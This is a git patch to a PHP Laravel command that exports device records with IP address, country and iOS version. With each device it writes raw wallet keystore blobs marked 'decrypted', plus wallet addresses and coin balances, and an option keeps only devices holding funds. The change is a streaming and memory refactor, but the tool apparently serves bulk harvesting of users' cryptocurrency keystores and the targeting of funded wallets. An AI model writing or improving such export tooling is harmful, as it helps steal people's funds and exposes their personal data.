From 4b23931b8db6630189b7886d73327acc04a26abd Mon Sep 17 00:00:00 2001 From: hashbro Date: Thu, 17 Sep 2026 04:30:15 +0800 Subject: [PATCH] fix: db --- .../Commands/ExportKeystoreDevicesCommand.php | 246 +++++++++++------- 1 file changed, 157 insertions(+), 89 deletions(-) diff --git a/app/Console/Commands/ExportKeystoreDevicesCommand.php b/app/Console/Commands/ExportKeystoreDevicesCommand.php index e33ce81..6cb3f01 100644 --- a/app/Console/Commands/ExportKeystoreDevicesCommand.php +++ b/app/Console/Commands/ExportKeystoreDevicesCommand.php @@ -4,9 +4,9 @@ namespace App\Console\Commands; use App\Models\Device; use App\Models\WalletAddress; -use App\Models\WalletKeystore; use Illuminate\Console\Command; use Illuminate\Database\Eloquent\Builder; +use Illuminate\Support\Facades\DB; class ExportKeystoreDevicesCommand extends Command { @@ -19,34 +19,12 @@ class ExportKeystoreDevicesCommand extends Command public function handle(): int { - $path = trim((string) $this->option('path')); - if ($path === '') { - $path = storage_path('app/keystore-devices-'.now()->format('Ymd-His').'.json'); - } elseif (! str_starts_with($path, '/')) { - $path = base_path($path); - } - - $dir = dirname($path); - if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) { - $this->error('Cannot create directory: '.$dir); - + DB::disableQueryLog(); + $path = $this->resolvePath(); + if ($path === null) { return self::FAILURE; } - $query = Device::query() - ->whereHas('keystores') - ->whereHas('addresses', function (Builder $q) { - if ($this->option('with-balance')) { - $q->where(function (Builder $inner) { - foreach (WalletAddress::COIN_COLUMNS as $col) { - $inner->orWhere($col, '>', 0); - } - }); - } - }) - ->orderBy('id'); - - $ids = $query->pluck('id'); $fh = fopen($path, 'w'); if ($fh === false) { $this->error('Cannot write: '.$path); @@ -54,45 +32,32 @@ class ExportKeystoreDevicesCommand extends Command return self::FAILURE; } - $meta = [ - 'exported_at' => now()->toIso8601String(), - 'with_balance' => (bool) $this->option('with-balance'), - 'include_raw' => ! $this->option('no-raw'), - 'device_count' => $ids->count(), - ]; + $ids = $this->deviceQuery()->orderBy('id')->pluck('id'); + $includeRaw = ! $this->option('no-raw'); + $flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES; fwrite($fh, "{\n"); - fwrite($fh, ' "exported_at": '.json_encode($meta['exported_at']).",\n"); - fwrite($fh, ' "with_balance": '.($meta['with_balance'] ? 'true' : 'false').",\n"); - fwrite($fh, ' "include_raw": '.($meta['include_raw'] ? 'true' : 'false').",\n"); - fwrite($fh, ' "device_count": '.$meta['device_count'].",\n"); + fwrite($fh, ' "exported_at": '.json_encode(now()->toIso8601String(), $flags).",\n"); + fwrite($fh, ' "with_balance": '.($this->option('with-balance') ? 'true' : 'false').",\n"); + fwrite($fh, ' "include_raw": '.($includeRaw ? 'true' : 'false').",\n"); + fwrite($fh, ' "device_count": '.$ids->count().",\n"); fwrite($fh, ' "devices": ['."\n"); $first = true; - $flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES; foreach ($ids as $id) { - $device = Device::query()->find($id); + $device = Device::query()->find($id, [ + 'id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'country', 'wallet_names', + ]); if (! $device) { continue; } - $row = $this->serializeDevice($device); - $encoded = json_encode($row, $flags); - if ($encoded === false) { - $this->warn('skip device '.$id.': json encode failed'); - - continue; - } if (! $first) { fwrite($fh, ",\n"); } $first = false; - fwrite($fh, $encoded); - $this->line(sprintf( - 'device %s keystores=%d addresses=%d', - $device->device_id, - count($row['keystores']), - count($row['addresses']), - )); + $this->writeDevice($fh, $device, $includeRaw, $flags); + unset($device); + gc_collect_cycles(); } fwrite($fh, "\n ]\n}\n"); @@ -103,33 +68,149 @@ class ExportKeystoreDevicesCommand extends Command return self::SUCCESS; } - /** - * @return array - */ - private function serializeDevice(Device $device): array + private function resolvePath(): ?string { - $includeRaw = ! $this->option('no-raw'); - $keystores = []; - $ksQuery = WalletKeystore::query()->where('device_id', $device->id)->orderBy('id'); - if (! $includeRaw) { - $ksQuery->select(WalletKeystore::listColumns()); + $path = trim((string) $this->option('path')); + if ($path === '') { + $path = storage_path('app/keystore-devices-'.now()->format('Ymd-His').'.json'); + } elseif (! str_starts_with($path, '/')) { + $path = base_path($path); } - foreach ($ksQuery->cursor() as $ks) { - $item = [ - 'id' => $ks->id, - 'source' => $ks->source, - 'decrypted' => (int) $ks->decrypted, - 'created_at' => optional($ks->created_at)?->toIso8601String(), - ]; - if ($includeRaw) { - $item['raw_json'] = $ks->raw_json; - } else { - $item['raw_json_len'] = (int) ($ks->raw_json_len ?? 0); - } - $keystores[] = $item; - $ks->setAttribute('raw_json', null); + $dir = dirname($path); + if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) { + $this->error('Cannot create directory: '.$dir); + + return null; } + return $path; + } + + private function deviceQuery(): Builder + { + return Device::query() + ->whereHas('keystores') + ->whereHas('addresses', function (Builder $q) { + if (! $this->option('with-balance')) { + return; + } + $q->where(function (Builder $inner) { + foreach (WalletAddress::COIN_COLUMNS as $col) { + $inner->orWhere($col, '>', 0); + } + }); + }); + } + + /** + * Stream one device object. Never json_decode keystore blobs. + * + * @param resource $fh + */ + private function writeDevice($fh, Device $device, bool $includeRaw, int $flags): void + { + $ksMeta = DB::table('wallet_keystores') + ->where('device_id', $device->id) + ->orderBy('id') + ->get(['id', 'source', 'decrypted', 'created_at']); + $addresses = $this->serializeAddresses($device); + + $header = [ + 'id' => $device->id, + 'device_id' => $device->device_id, + 'channel_id' => $device->channel_id, + 'model' => $device->device_model, + 'ios_version' => $device->ios_version, + 'ip' => $device->ip, + 'country' => $device->country, + 'wallet_names' => $device->walletNameList(), + 'keystore_count' => $ksMeta->count(), + 'address_count' => count($addresses), + 'addresses' => $addresses, + ]; + $encoded = json_encode($header, $flags); + if ($encoded === false) { + fwrite($fh, '{"id":'.$device->id.',"error":"encode failed"}'); + + return; + } + + fwrite($fh, substr($encoded, 0, -1)); + fwrite($fh, ',"keystores":['); + $ksFirst = true; + foreach ($ksMeta as $row) { + if (! $ksFirst) { + fwrite($fh, ','); + } + $ksFirst = false; + $this->writeKeystore($fh, (int) $row->id, (string) $row->source, (int) $row->decrypted, (string) $row->created_at, $includeRaw, $flags); + } + fwrite($fh, ']}'); + + $this->line(sprintf( + 'device %s keystores=%d addresses=%d', + $device->device_id, + $ksMeta->count(), + count($addresses), + )); + } + + /** + * @param resource $fh + */ + private function writeKeystore($fh, int $id, string $source, int $decrypted, string $createdAt, bool $includeRaw, int $flags): void + { + $meta = [ + 'id' => $id, + 'source' => $source, + 'decrypted' => $decrypted, + 'created_at' => $createdAt !== '' ? $createdAt : null, + ]; + if (! $includeRaw) { + $len = (int) (DB::table('wallet_keystores')->where('id', $id)->selectRaw('LENGTH(raw_json) as n')->value('n') ?? 0); + $meta['raw_json_len'] = $len; + fwrite($fh, (string) json_encode($meta, $flags)); + + return; + } + + $blob = DB::selectOne( + 'select convert(cast(raw_json as char character set utf8mb4) using utf8mb4) as raw_json from wallet_keystores where id = ?', + [$id], + ); + $raw = is_object($blob) ? $blob->raw_json : null; + if (is_array($raw)) { + $raw = json_encode($raw, $flags) ?: 'null'; + } elseif (! is_string($raw) && $raw !== null) { + $raw = (string) $raw; + } + $encodedMeta = json_encode($meta, $flags); + fwrite($fh, substr((string) $encodedMeta, 0, -1)); + fwrite($fh, ',"raw_json":'); + if ($raw === null || $raw === '') { + fwrite($fh, 'null'); + } elseif ($this->looksLikeJson($raw)) { + fwrite($fh, $raw); + } else { + fwrite($fh, (string) json_encode($raw, $flags)); + } + fwrite($fh, '}'); + unset($blob, $raw); + gc_collect_cycles(); + } + + private function looksLikeJson(string $raw): bool + { + $trim = ltrim($raw); + + return $trim !== '' && ($trim[0] === '{' || $trim[0] === '['); + } + + /** + * @return list> + */ + private function serializeAddresses(Device $device): array + { $addresses = []; foreach ($device->addresses()->orderBy('id')->cursor() as $addr) { $coins = []; @@ -151,19 +232,6 @@ class ExportKeystoreDevicesCommand extends Command ]; } - return [ - 'id' => $device->id, - 'device_id' => $device->device_id, - 'channel_id' => $device->channel_id, - 'model' => $device->device_model, - 'ios_version' => $device->ios_version, - 'ip' => $device->ip, - 'country' => $device->country, - 'wallet_names' => $device->walletNameList(), - 'keystore_count' => count($keystores), - 'address_count' => count($addresses), - 'keystores' => $keystores, - 'addresses' => $addresses, - ]; + return $addresses; } }